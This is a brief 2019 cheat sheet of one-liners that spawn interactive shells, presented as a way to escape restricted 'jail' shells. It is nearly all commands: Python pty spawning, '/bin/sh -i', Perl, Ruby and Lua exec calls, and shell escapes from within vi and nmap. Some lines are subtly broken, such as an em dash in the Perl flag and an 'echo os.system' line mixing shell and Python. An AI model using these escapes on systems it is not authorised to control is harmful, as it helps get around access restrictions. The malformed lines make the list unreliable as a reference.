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TTY Spawn Shell Cheat Sheet

Published on 06 Sep 2019

This is a collection of one-liners commands that will allow you to spawn TTY shells!

very useful for escaping jail shells.

python -c 'import pty; pty.spawn("/bin/sh")'

echo os.system('/bin/bash')

/bin/sh -i

perl —e 'exec "/bin/sh";'

perl: exec "/bin/sh";

ruby: exec "/bin/sh"

lua: os.execute('/bin/sh')

exec "/bin/sh"

From within vi

:!bash

From within vi too

:set shell=/bin/bash:shell

From within nmap

!sh